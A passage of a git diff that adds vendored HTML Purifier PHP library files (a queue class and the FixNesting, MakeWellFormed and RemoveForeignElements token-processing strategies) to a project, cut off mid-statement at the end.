+ if (strncmp($key, $this->filter, $this->l) !== 0) {
+ return false;
+ }
+ return true;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Queue.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Queue.php
new file mode 100644
index 000000000..f58db9042
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Queue.php
@@ -0,0 +1,56 @@
+<?php
+
+/**
+ * A simple array-backed queue, based off of the classic Okasaki
+ * persistent amortized queue. The basic idea is to maintain two
+ * stacks: an input stack and an output stack. When the output
+ * stack runs out, reverse the input stack and use it as the output
+ * stack.
+ *
+ * We don't use the SPL implementation because it's only supported
+ * on PHP 5.3 and later.
+ *
+ * Exercise: Prove that push/pop on this queue take amortized O(1) time.
+ *
+ * Exercise: Extend this queue to be a deque, while preserving amortized
+ * O(1) time. Some care must be taken on rebalancing to avoid quadratic
+ * behaviour caused by repeatedly shuffling data from the input stack
+ * to the output stack and back.
+ */
+class HTMLPurifier_Queue {
+ private $input;
+ private $output;
+
+ public function __construct($input = array()) {
+ $this->input = $input;
+ $this->output = array();
+ }
+
+ /**
+ * Shifts an element off the front of the queue.
+ */
+ public function shift() {
+ if (empty($this->output)) {
+ $this->output = array_reverse($this->input);
+ $this->input = array();
+ }
+ if (empty($this->output)) {
+ return NULL;
+ }
+ return array_pop($this->output);
+ }
+
+ /**
+ * Pushes an element onto the front of the queue.
+ */
+ public function push($x) {
+ array_push($this->input, $x);
+ }
+
+ /**
+ * Checks if it's empty.
+ */
+ public function isEmpty() {
+ return empty($this->input) && empty($this->output);
+ }
+}
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy.php
new file mode 100644
index 000000000..e1ff3b72d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy.php
@@ -0,0 +1,26 @@
+<?php
+
+/**
+ * Supertype for classes that define a strategy for modifying/purifying tokens.
+ *
+ * While HTMLPurifier's core purpose is fixing HTML into something proper,
+ * strategies provide plug points for extra configuration or even extra
+ * features, such as custom tags, custom parsing of text, etc.
+ */
+
+
+abstract class HTMLPurifier_Strategy
+{
+
+ /**
+ * Executes the strategy on the tokens.
+ *
+ * @param HTMLPurifier_Token[] $tokens Array of HTMLPurifier_Token objects to be operated on.
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return HTMLPurifier_Token[] Processed array of token objects.
+ */
+ abstract public function execute($tokens, $config, $context);
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/Composite.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/Composite.php
new file mode 100644
index 000000000..d7d35ce7d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/Composite.php
@@ -0,0 +1,30 @@
+<?php
+
+/**
+ * Composite strategy that runs multiple strategies on tokens.
+ */
+abstract class HTMLPurifier_Strategy_Composite extends HTMLPurifier_Strategy
+{
+
+ /**
+ * List of strategies to run tokens through.
+ * @type HTMLPurifier_Strategy[]
+ */
+ protected $strategies = array();
+
+ /**
+ * @param HTMLPurifier_Token[] $tokens
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return HTMLPurifier_Token[]
+ */
+ public function execute($tokens, $config, $context)
+ {
+ foreach ($this->strategies as $strategy) {
+ $tokens = $strategy->execute($tokens, $config, $context);
+ }
+ return $tokens;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/Core.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/Core.php
new file mode 100644
index 000000000..4414c17d6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/Core.php
@@ -0,0 +1,17 @@
+<?php
+
+/**
+ * Core strategy composed of the big four strategies.
+ */
+class HTMLPurifier_Strategy_Core extends HTMLPurifier_Strategy_Composite
+{
+ public function __construct()
+ {
+ $this->strategies[] = new HTMLPurifier_Strategy_RemoveForeignElements();
+ $this->strategies[] = new HTMLPurifier_Strategy_MakeWellFormed();
+ $this->strategies[] = new HTMLPurifier_Strategy_FixNesting();
+ $this->strategies[] = new HTMLPurifier_Strategy_ValidateAttributes();
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/FixNesting.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/FixNesting.php
new file mode 100644
index 000000000..6fa673db9
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/FixNesting.php
@@ -0,0 +1,181 @@
+<?php
+
+/**
+ * Takes a well formed list of tokens and fixes their nesting.
+ *
+ * HTML elements dictate which elements are allowed to be their children,
+ * for example, you can't have a p tag in a span tag. Other elements have
+ * much more rigorous definitions: tables, for instance, require a specific
+ * order for their elements. There are also constraints not expressible by
+ * document type definitions, such as the chameleon nature of ins/del
+ * tags and global child exclusions.
+ *
+ * The first major objective of this strategy is to iterate through all
+ * the nodes and determine whether or not their children conform to the
+ * element's definition. If they do not, the child definition may
+ * optionally supply an amended list of elements that is valid or
+ * require that the entire node be deleted (and the previous node
+ * rescanned).
+ *
+ * The second objective is to ensure that explicitly excluded elements of
+ * an element do not appear in its children. Code that accomplishes this
+ * task is pervasive through the strategy, though the two are distinct tasks
+ * and could, theoretically, be seperated (although it's not recommended).
+ *
+ * @note Whether or not unrecognized children are silently dropped or
+ * translated into text depends on the child definitions.
+ *
+ * @todo Enable nodes to be bubbled out of the structure. This is
+ * easier with our new algorithm.
+ */
+
+class HTMLPurifier_Strategy_FixNesting extends HTMLPurifier_Strategy
+{
+
+ /**
+ * @param HTMLPurifier_Token[] $tokens
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array|HTMLPurifier_Token[]
+ */
+ public function execute($tokens, $config, $context)
+ {
+
+ //####################################################################//
+ // Pre-processing
+
+ // O(n) pass to convert to a tree, so that we can efficiently
+ // refer to substrings
+ $top_node = HTMLPurifier_Arborize::arborize($tokens, $config, $context);
+
+ // get a copy of the HTML definition
+ $definition = $config->getHTMLDefinition();
+
+ $excludes_enabled = !$config->get('Core.DisableExcludes');
+
+ // setup the context variable 'IsInline', for chameleon processing
+ // is 'false' when we are not inline, 'true' when it must always
+ // be inline, and an integer when it is inline for a certain
+ // branch of the document tree
+ $is_inline = $definition->info_parent_def->descendants_are_inline;
+ $context->register('IsInline', $is_inline);
+
+ // setup error collector
+ $e =& $context->get('ErrorCollector', true);
+
+ //####################################################################//
+ // Loop initialization
+
+ // stack that contains all elements that are excluded
+ // it is organized by parent elements, similar to $stack,
+ // but it is only populated when an element with exclusions is
+ // processed, i.e. there won't be empty exclusions.
+ $exclude_stack = array($definition->info_parent_def->excludes);
+
+ // variable that contains the start token while we are processing
+ // nodes. This enables error reporting to do its job
+ $node = $top_node;
+ // dummy token
+ list($token, $d) = $node->toTokenPair();
+ $context->register('CurrentNode', $node);
+ $context->register('CurrentToken', $token);
+
+ //####################################################################//
+ // Loop
+
+ // We need to implement a post-order traversal iteratively, to
+ // avoid running into stack space limits. This is pretty tricky
+ // to reason about, so we just manually stack-ify the recursive
+ // variant:
+ //
+ // function f($node) {
+ // foreach ($node->children as $child) {
+ // f($child);
+ // }
+ // validate($node);
+ // }
+ //
+ // Thus, we will represent a stack frame as array($node,
+ // $is_inline, stack of children)
+ // e.g. array_reverse($node->children) - already processed
+ // children.
+
+ $parent_def = $definition->info_parent_def;
+ $stack = array(
+ array($top_node,
+ $parent_def->descendants_are_inline,
+ $parent_def->excludes, // exclusions
+ 0)
+ );
+
+ while (!empty($stack)) {
+ list($node, $is_inline, $excludes, $ix) = array_pop($stack);
+ // recursive call
+ $go = false;
+ $def = empty($stack) ? $definition->info_parent_def : $definition->info[$node->name];
+ while (isset($node->children[$ix])) {
+ $child = $node->children[$ix++];
+ if ($child instanceof HTMLPurifier_Node_Element) {
+ $go = true;
+ $stack[] = array($node, $is_inline, $excludes, $ix);
+ $stack[] = array($child,
+ // ToDo: I don't think it matters if it's def or
+ // child_def, but double check this...
+ $is_inline || $def->descendants_are_inline,
+ empty($def->excludes) ? $excludes
+ : array_merge($excludes, $def->excludes),
+ 0);
+ break;
+ }
+ };
+ if ($go) continue;
+ list($token, $d) = $node->toTokenPair();
+ // base case
+ if ($excludes_enabled && isset($excludes[$node->name])) {
+ $node->dead = true;
+ if ($e) $e->send(E_ERROR, 'Strategy_FixNesting: Node excluded');
+ } else {
+ // XXX I suppose it would be slightly more efficient to
+ // avoid the allocation here and have children
+ // strategies handle it
+ $children = array();
+ foreach ($node->children as $child) {
+ if (!$child->dead) $children[] = $child;
+ }
+ $result = $def->child->validateChildren($children, $config, $context);
+ if ($result === true) {
+ // nop
+ $node->children = $children;
+ } elseif ($result === false) {
+ $node->dead = true;
+ if ($e) $e->send(E_ERROR, 'Strategy_FixNesting: Node removed');
+ } else {
+ $node->children = $result;
+ if ($e) {
+ // XXX This will miss mutations of internal nodes. Perhaps defer to the child validators
+ if (empty($result) && !empty($children)) {
+ $e->send(E_ERROR, 'Strategy_FixNesting: Node contents removed');
+ } else if ($result != $children) {
+ $e->send(E_WARNING, 'Strategy_FixNesting: Node reorganized');
+ }
+ }
+ }
+ }
+ }
+
+ //####################################################################//
+ // Post-processing
+
+ // remove context variables
+ $context->destroy('IsInline');
+ $context->destroy('CurrentNode');
+ $context->destroy('CurrentToken');
+
+ //####################################################################//
+ // Return
+
+ return HTMLPurifier_Arborize::flatten($node, $config, $context);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/MakeWellFormed.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/MakeWellFormed.php
new file mode 100644
index 000000000..e389e0011
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/MakeWellFormed.php
@@ -0,0 +1,600 @@
+<?php
+
+/**
+ * Takes tokens makes them well-formed (balance end tags, etc.)
+ *
+ * Specification of the armor attributes this strategy uses:
+ *
+ * - MakeWellFormed_TagClosedError: This armor field is used to
+ * suppress tag closed errors for certain tokens [TagClosedSuppress],
+ * in particular, if a tag was generated automatically by HTML
+ * Purifier, we may rely on our infrastructure to close it for us
+ * and shouldn't report an error to the user [TagClosedAuto].
+ */
+class HTMLPurifier_Strategy_MakeWellFormed extends HTMLPurifier_Strategy
+{
+
+ /**
+ * Array stream of tokens being processed.
+ * @type HTMLPurifier_Token[]
+ */
+ protected $tokens;
+
+ /**
+ * Current token.
+ * @type HTMLPurifier_Token
+ */
+ protected $token;
+
+ /**
+ * Zipper managing the true state.
+ * @type HTMLPurifier_Zipper
+ */
+ protected $zipper;
+
+ /**
+ * Current nesting of elements.
+ * @type array
+ */
+ protected $stack;
+
+ /**
+ * Injectors active in this stream processing.
+ * @type HTMLPurifier_Injector[]
+ */
+ protected $injectors;
+
+ /**
+ * Current instance of HTMLPurifier_Config.
+ * @type HTMLPurifier_Config
+ */
+ protected $config;
+
+ /**
+ * Current instance of HTMLPurifier_Context.
+ * @type HTMLPurifier_Context
+ */
+ protected $context;
+
+ /**
+ * @param HTMLPurifier_Token[] $tokens
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return HTMLPurifier_Token[]
+ * @throws HTMLPurifier_Exception
+ */
+ public function execute($tokens, $config, $context)
+ {
+ $definition = $config->getHTMLDefinition();
+
+ // local variables
+ $generator = new HTMLPurifier_Generator($config, $context);
+ $escape_invalid_tags = $config->get('Core.EscapeInvalidTags');
+ // used for autoclose early abortion
+ $global_parent_allowed_elements = $definition->info_parent_def->child->getAllowedElements($config);
+ $e = $context->get('ErrorCollector', true);
+ $i = false; // injector index
+ list($zipper, $token) = HTMLPurifier_Zipper::fromArray($tokens);
+ if ($token === NULL) {
+ return array();
+ }
+ $reprocess = false; // whether or not to reprocess the same token
+ $stack = array();
+
+ // member variables
+ $this->stack =& $stack;
+ $this->tokens =& $tokens;
+ $this->token =& $token;
+ $this->zipper =& $zipper;
+ $this->config = $config;
+ $this->context = $context;
+
+ // context variables
+ $context->register('CurrentNesting', $stack);
+ $context->register('InputZipper', $zipper);
+ $context->register('CurrentToken', $token);
+
+ // -- begin INJECTOR --
+
+ $this->injectors = array();
+
+ $injectors = $config->getBatch('AutoFormat');
+ $def_injectors = $definition->info_injector;
+ $custom_injectors = $injectors['Custom'];
+ unset($injectors['Custom']); // special case
+ foreach ($injectors as $injector => $b) {
+ // XXX: Fix with a legitimate lookup table of enabled filters
+ if (strpos($injector, '.') !== false) {
+ continue;
+ }
+ $injector = "HTMLPurifier_Injector_$injector";
+ if (!$b) {
+ continue;
+ }
+ $this->injectors[] = new $injector;
+ }
+ foreach ($def_injectors as $injector) {
+ // assumed to be objects
+ $this->injectors[] = $injector;
+ }
+ foreach ($custom_injectors as $injector) {
+ if (!$injector) {
+ continue;
+ }
+ if (is_string($injector)) {
+ $injector = "HTMLPurifier_Injector_$injector";
+ $injector = new $injector;
+ }
+ $this->injectors[] = $injector;
+ }
+
+ // give the injectors references to the definition and context
+ // variables for performance reasons
+ foreach ($this->injectors as $ix => $injector) {
+ $error = $injector->prepare($config, $context);
+ if (!$error) {
+ continue;
+ }
+ array_splice($this->injectors, $ix, 1); // rm the injector
+ trigger_error("Cannot enable {$injector->name} injector because $error is not allowed", E_USER_WARNING);
+ }
+
+ // -- end INJECTOR --
+
+ // a note on reprocessing:
+ // In order to reduce code duplication, whenever some code needs
+ // to make HTML changes in order to make things "correct", the
+ // new HTML gets sent through the purifier, regardless of its
+ // status. This means that if we add a start token, because it
+ // was totally necessary, we don't have to update nesting; we just
+ // punt ($reprocess = true; continue;) and it does that for us.
+
+ // isset is in loop because $tokens size changes during loop exec
+ for (;;
+ // only increment if we don't need to reprocess
+ $reprocess ? $reprocess = false : $token = $zipper->next($token)) {
+
+ // check for a rewind
+ if (is_int($i)) {
+ // possibility: disable rewinding if the current token has a
+ // rewind set on it already. This would offer protection from
+ // infinite loop, but might hinder some advanced rewinding.
+ $rewind_offset = $this->injectors[$i]->getRewindOffset();
+ if (is_int($rewind_offset)) {
+ for ($j = 0; $j < $rewind_offset; $j++) {
+ if (empty($zipper->front)) break;
+ $token = $zipper->prev($token);
+ // indicate that other injectors should not process this token,
+ // but we need to reprocess it
+ unset($token->skip[$i]);
+ $token->rewind = $i;
+ if ($token instanceof HTMLPurifier_Token_Start) {
+ array_pop($this->stack);
+ } elseif ($token instanceof HTMLPurifier_Token_End) {
+ $this->stack[] = $token->start;
+ }
+ }
+ }
+ $i = false;
+ }
+
+ // handle case of document end
+ if ($token === NULL) {
+ // kill processing if stack is empty
+ if (empty($this->stack)) {
+ break;
+ }
+
+ // peek
+ $top_nesting = array_pop($this->stack);
+ $this->stack[] = $top_nesting;
+
+ // send error [TagClosedSuppress]
+ if ($e && !isset($top_nesting->armor['MakeWellFormed_TagClosedError'])) {
+ $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by document end', $top_nesting);
+ }
+
+ // append, don't splice, since this is the end
+ $token = new HTMLPurifier_Token_End($top_nesting->name);
+
+ // punt!
+ $reprocess = true;
+ continue;
+ }
+
+ //echo '<br>'; printZipper($zipper, $token);//printTokens($this->stack);
+ //flush();
+
+ // quick-check: if it's not a tag, no need to process
+ if (empty($token->is_tag)) {
+ if ($token instanceof HTMLPurifier_Token_Text) {
+ foreach ($this->injectors as $i => $injector) {
+ if (isset($token->skip[$i])) {
+ continue;
+ }
+ if ($token->rewind !== null && $token->rewind !== $i) {
+ continue;
+ }
+ // XXX fuckup
+ $r = $token;
+ $injector->handleText($r);
+ $token = $this->processToken($r, $i);
+ $reprocess = true;
+ break;
+ }
+ }
+ // another possibility is a comment
+ continue;
+ }
+
+ if (isset($definition->info[$token->name])) {
+ $type = $definition->info[$token->name]->child->type;
+ } else {
+ $type = false; // Type is unknown, treat accordingly
+ }
+
+ // quick tag checks: anything that's *not* an end tag
+ $ok = false;
+ if ($type === 'empty' && $token instanceof HTMLPurifier_Token_Start) {
+ // claims to be a start tag but is empty
+ $token = new HTMLPurifier_Token_Empty(
+ $token->name,
+ $token->attr,
+ $token->line,
+ $token->col,
+ $token->armor
+ );
+ $ok = true;
+ } elseif ($type && $type !== 'empty' && $token instanceof HTMLPurifier_Token_Empty) {
+ // claims to be empty but really is a start tag
+ // NB: this assignment is required
+ $old_token = $token;
+ $token = new HTMLPurifier_Token_End($token->name);
+ $token = $this->insertBefore(
+ new HTMLPurifier_Token_Start($old_token->name, $old_token->attr, $old_token->line, $old_token->col, $old_token->armor)
+ );
+ // punt (since we had to modify the input stream in a non-trivial way)
+ $reprocess = true;
+ continue;
+ } elseif ($token instanceof HTMLPurifier_Token_Empty) {
+ // real empty token
+ $ok = true;
+ } elseif ($token instanceof HTMLPurifier_Token_Start) {
+ // start tag
+
+ // ...unless they also have to close their parent
+ if (!empty($this->stack)) {
+
+ // Performance note: you might think that it's rather
+ // inefficient, recalculating the autoclose information
+ // for every tag that a token closes (since when we
+ // do an autoclose, we push a new token into the
+ // stream and then /process/ that, before
+ // re-processing this token.) But this is
+ // necessary, because an injector can make an
+ // arbitrary transformations to the autoclosing
+ // tokens we introduce, so things may have changed
+ // in the meantime. Also, doing the inefficient thing is
+ // "easy" to reason about (for certain perverse definitions
+ // of "easy")
+
+ $parent = array_pop($this->stack);
+ $this->stack[] = $parent;
+
+ $parent_def = null;
+ $parent_elements = null;
+ $autoclose = false;
+ if (isset($definition->info[$parent->name])) {
+ $parent_def = $definition->info[$parent->name];
+ $parent_elements = $parent_def->child->getAllowedElements($config);
+ $autoclose = !isset($parent_elements[$token->name]);
+ }
+
+ if ($autoclose && $definition->info[$token->name]->wrap) {
+ // Check if an element can be wrapped by another
+ // element to make it valid in a context (for
+ // example, <ul><ul> needs a <li> in between)
+ $wrapname = $definition->info[$token->name]->wrap;
+ $wrapdef = $definition->info[$wrapname];
+ $elements = $wrapdef->child->getAllowedElements($config);
+ if (isset($elements[$token->name]) && isset($parent_elements[$wrapname])) {
+ $newtoken = new HTMLPurifier_Token_Start($wrapname);
+ $token = $this->insertBefore($newtoken);
+ $reprocess = true;
+ continue;
+ }
+ }
+
+ $carryover = false;
+ if ($autoclose && $parent_def->formatting) {
+ $carryover = true;
+ }
+
+ if ($autoclose) {
+ // check if this autoclose is doomed to fail
+ // (this rechecks $parent, which his harmless)
+ $autoclose_ok = isset($global_parent_allowed_elements[$token->name]);
+ if (!$autoclose_ok) {
+ foreach ($this->stack as $ancestor) {
+ $elements = $definition->info[$ancestor->name]->child->getAllowedElements($config);
+ if (isset($elements[$token->name])) {
+ $autoclose_ok = true;
+ break;
+ }
+ if ($definition->info[$token->name]->wrap) {
+ $wrapname = $definition->info[$token->name]->wrap;
+ $wrapdef = $definition->info[$wrapname];
+ $wrap_elements = $wrapdef->child->getAllowedElements($config);
+ if (isset($wrap_elements[$token->name]) && isset($elements[$wrapname])) {
+ $autoclose_ok = true;
+ break;
+ }
+ }
+ }
+ }
+ if ($autoclose_ok) {
+ // errors need to be updated
+ $new_token = new HTMLPurifier_Token_End($parent->name);
+ $new_token->start = $parent;
+ // [TagClosedSuppress]
+ if ($e && !isset($parent->armor['MakeWellFormed_TagClosedError'])) {
+ if (!$carryover) {
+ $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag auto closed', $parent);
+ } else {
+ $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag carryover', $parent);
+ }
+ }
+ if ($carryover) {
+ $element = clone $parent;
+ // [TagClosedAuto]
+ $element->armor['MakeWellFormed_TagClosedError'] = true;
+ $element->carryover = true;
+ $token = $this->processToken(array($new_token, $token, $element));
+ } else {
+ $token = $this->insertBefore($new_token);
+ }
+ } else {
+ $token = $this->remove();
+ }
+ $reprocess = true;
+ continue;
+ }
+
+ }
+ $ok = true;
+ }
+
+ if ($ok) {
+ foreach ($this->injectors as $i => $injector) {
+ if (isset($token->skip[$i])) {
+ continue;
+ }
+ if ($token->rewind !== null && $token->rewind !== $i) {
+ continue;
+ }
+ $r = $token;
+ $injector->handleElement($r);
+ $token = $this->processToken($r, $i);
+ $reprocess = true;
+ break;
+ }
+ if (!$reprocess) {
+ // ah, nothing interesting happened; do normal processing
+ if ($token instanceof HTMLPurifier_Token_Start) {
+ $this->stack[] = $token;
+ } elseif ($token instanceof HTMLPurifier_Token_End) {
+ throw new HTMLPurifier_Exception(
+ 'Improper handling of end tag in start code; possible error in MakeWellFormed'
+ );
+ }
+ }
+ continue;
+ }
+
+ // sanity check: we should be dealing with a closing tag
+ if (!$token instanceof HTMLPurifier_Token_End) {
+ throw new HTMLPurifier_Exception('Unaccounted for tag token in input stream, bug in HTML Purifier');
+ }
+
+ // make sure that we have something open
+ if (empty($this->stack)) {
+ if ($escape_invalid_tags) {
+ if ($e) {
+ $e->send(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag to text');
+ }
+ $token = new HTMLPurifier_Token_Text($generator->generateFromToken($token));
+ } else {
+ if ($e) {
+ $e->send(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag removed');
+ }
+ $token = $this->remove();
+ }
+ $reprocess = true;
+ continue;
+ }
+
+ // first, check for the simplest case: everything closes neatly.
+ // Eventually, everything passes through here; if there are problems
+ // we modify the input stream accordingly and then punt, so that
+ // the tokens get processed again.
+ $current_parent = array_pop($this->stack);
+ if ($current_parent->name == $token->name) {
+ $token->start = $current_parent;
+ foreach ($this->injectors as $i => $injector) {
+ if (isset($token->skip[$i])) {
+ continue;
+ }
+ if ($token->rewind !== null && $token->rewind !== $i) {
+ continue;
+ }
+ $r = $token;
+ $injector->handleEnd($r);
+ $token = $this->processToken($r, $i);
+ $this->stack[] = $current_parent;
+ $reprocess = true;
+ break;
+ }
+ continue;
+ }
+
+ // okay, so we're trying to close the wrong tag
+
+ // undo the pop previous pop
+ $this->stack[] = $current_parent;
+
+ // scroll back the entire nest, trying to find our tag.
+ // (feature could be to specify how far you'd like to go)
+ $size = count($this->stack);
+ // -2 because -1 is the last element, but we already checked that
+ $skipped_tags = false;
+ for ($j = $size - 2; $j >= 0; $j--) {
+ if ($this->stack[$j]->name == $token->name) {
+ $skipped_tags = array_slice($this->stack, $j);
+ break;
+ }
+ }
+
+ // we didn't find the tag, so remove
+ if ($skipped_tags === false) {
+ if ($escape_invalid_tags) {
+ if ($e) {
+ $e->send(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag to text');
+ }
+ $token = new HTMLPurifier_Token_Text($generator->generateFromToken($token));
+ } else {
+ if ($e) {
+ $e->send(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag removed');
+ }
+ $token = $this->remove();
+ }
+ $reprocess = true;
+ continue;
+ }
+
+ // do errors, in REVERSE $j order: a,b,c with </a></b></c>
+ $c = count($skipped_tags);
+ if ($e) {
+ for ($j = $c - 1; $j > 0; $j--) {
+ // notice we exclude $j == 0, i.e. the current ending tag, from
+ // the errors... [TagClosedSuppress]
+ if (!isset($skipped_tags[$j]->armor['MakeWellFormed_TagClosedError'])) {
+ $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by element end', $skipped_tags[$j]);
+ }
+ }
+ }
+
+ // insert tags, in FORWARD $j order: c,b,a with </a></b></c>
+ $replace = array($token);
+ for ($j = 1; $j < $c; $j++) {
+ // ...as well as from the insertions
+ $new_token = new HTMLPurifier_Token_End($skipped_tags[$j]->name);
+ $new_token->start = $skipped_tags[$j];
+ array_unshift($replace, $new_token);
+ if (isset($definition->info[$new_token->name]) && $definition->info[$new_token->name]->formatting) {
+ // [TagClosedAuto]
+ $element = clone $skipped_tags[$j];
+ $element->carryover = true;
+ $element->armor['MakeWellFormed_TagClosedError'] = true;
+ $replace[] = $element;
+ }
+ }
+ $token = $this->processToken($replace);
+ $reprocess = true;
+ continue;
+ }
+
+ $context->destroy('CurrentToken');
+ $context->destroy('CurrentNesting');
+ $context->destroy('InputZipper');
+
+ unset($this->injectors, $this->stack, $this->tokens);
+ return $zipper->toArray($token);
+ }
+
+ /**
+ * Processes arbitrary token values for complicated substitution patterns.
+ * In general:
+ *
+ * If $token is an array, it is a list of tokens to substitute for the
+ * current token. These tokens then get individually processed. If there
+ * is a leading integer in the list, that integer determines how many
+ * tokens from the stream should be removed.
+ *
+ * If $token is a regular token, it is swapped with the current token.
+ *
+ * If $token is false, the current token is deleted.
+ *
+ * If $token is an integer, that number of tokens (with the first token
+ * being the current one) will be deleted.
+ *
+ * @param HTMLPurifier_Token|array|int|bool $token Token substitution value
+ * @param HTMLPurifier_Injector|int $injector Injector that performed the substitution; default is if
+ * this is not an injector related operation.
+ * @throws HTMLPurifier_Exception
+ */
+ protected function processToken($token, $injector = -1)
+ {
+ // normalize forms of token
+ if (is_object($token)) {
+ $token = array(1, $token);
+ }
+ if (is_int($token)) {
+ $token = array($token);
+ }
+ if ($token === false) {
+ $token = array(1);
+ }
+ if (!is_array($token)) {
+ throw new HTMLPurifier_Exception('Invalid token type from injector');
+ }
+ if (!is_int($token[0])) {
+ array_unshift($token, 1);
+ }
+ if ($token[0] === 0) {
+ throw new HTMLPurifier_Exception('Deleting zero tokens is not valid');
+ }
+
+ // $token is now an array with the following form:
+ // array(number nodes to delete, new node 1, new node 2, ...)
+
+ $delete = array_shift($token);
+ list($old, $r) = $this->zipper->splice($this->token, $delete, $token);
+
+ if ($injector > -1) {
+ // determine appropriate skips
+ $oldskip = isset($old[0]) ? $old[0]->skip : array();
+ foreach ($token as $object) {
+ $object->skip = $oldskip;
+ $object->skip[$injector] = true;
+ }
+ }
+
+ return $r;
+
+ }
+
+ /**
+ * Inserts a token before the current token. Cursor now points to
+ * this token. You must reprocess after this.
+ * @param HTMLPurifier_Token $token
+ */
+ private function insertBefore($token)
+ {
+ // NB not $this->zipper->insertBefore(), due to positioning
+ // differences
+ $splice = $this->zipper->splice($this->token, 0, array($token));
+
+ return $splice[1];
+ }
+
+ /**
+ * Removes current token. Cursor now points to new token occupying previously
+ * occupied space. You must reprocess after this.
+ */
+ private function remove()
+ {
+ return $this->zipper->delete();
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/RemoveForeignElements.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/RemoveForeignElements.php
new file mode 100644
index 000000000..1a8149ecc
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/RemoveForeignElements.php
@@ -0,0 +1,207 @@
+<?php
+
+/**
+ * Removes all unrecognized tags from the list of tokens.
+ *
+ * This strategy iterates through all the tokens and removes unrecognized
+ * tokens. If a token is not recognized but a TagTransform is defined for
+ * that element, the element will be transformed accordingly.
+ */
+
+class HTMLPurifier_Strategy_RemoveForeignElements extends HTMLPurifier_Strategy
+{
+
+ /**
+ * @param HTMLPurifier_Token[] $tokens
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array|HTMLPurifier_Token[]
+ */
+ public function execute($tokens, $config, $context)
+ {
+ $definition = $config->getHTMLDefinition();
+ $generator = new HTMLPurifier_Generator($config, $context);
+ $result = array();
+
+ $escape_invalid_tags = $config->get('Core.EscapeInvalidTags');
+ $remove_invalid_img = $config->get('Core.RemoveInvalidImg');
+
+ // currently only used to determine if comments should be kept
+ $trusted = $config->get('HTML.Trusted');
+ $comment_lookup = $config->get('HTML.AllowedComments');
+ $comment_regexp = $config->get('HTML.AllowedCommentsRegexp');
+ $check_comments = $comment_lookup !== array() || $comment_regexp !== null;
+
+ $remove_script_contents = $config->get('Core.RemoveScriptContents');
+ $hidden_elements = $config->get('Core.HiddenElements');
+
+ // remove script contents compatibility
+ if ($remove_script_contents === true) {
+ $hidden_elements['script'] = true;
+ } elseif ($remove_script_contents === false && isset($hidden_elements['script'])) {
+ unset($hidden_elements['script']);
+ }
+
+ $attr_validator = new HTMLPurifier_AttrValidator();
+
+ // removes tokens until it reaches a closing tag with its value
+ $remove_until = false;
+
+ // converts comments into text tokens when this is equal to a tag name
+ $textify_comments = false;
+
+ $token = false;
+ $context->register('CurrentToken', $token);
+
+ $e = false;
+ if ($config->get('Core.CollectErrors')) {
+ $e =& $context->get('ErrorCollector');
+ }
+
+ foreach ($tokens as $token) {
+ if ($remove_until) {
+ if (empty($token->is_tag) || $token->name !== $remove_until) {
+ continue;
+ }
+ }
+ if (!empty($token->is_tag)) {
+ // DEFINITION CALL
+
+ // before any processing, try to transform the element
+ if (isset($definition->info_tag_transform[$token->name])) {
+ $original_name = $token->name;
+ // there is a transformation for this tag
+ // DEFINITION CALL
+ $token = $definition->
+ info_tag_transform[$token->name]->transform($token, $config, $context);
+ if ($e) {
+ $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Tag transform', $original_name);
+ }
+ }
+
+ if (isset($definition->info[$token->name])) {
+ // mostly everything's good, but
+ // we need to make sure required attributes are in order
+ if (($token instanceof HTMLPurifier_Token_Start || $token instanceof HTMLPurifier_Token_Empty) &&
+ $definition->info[$token->name]->required_attr &&
+ ($token->name != 'img' || $remove_invalid_img) // ensure config option still works
+ ) {
+ $attr_validator->validateToken($token, $config, $context);
+ $ok = true;
+ foreach ($definition->info[$token->name]->required_attr as $name) {
+ if (!isset($token->attr[$name])) {
+ $ok = false;
+ break;
+ }
+ }
+ if (!$ok) {
+ if ($e) {
+ $e->send(
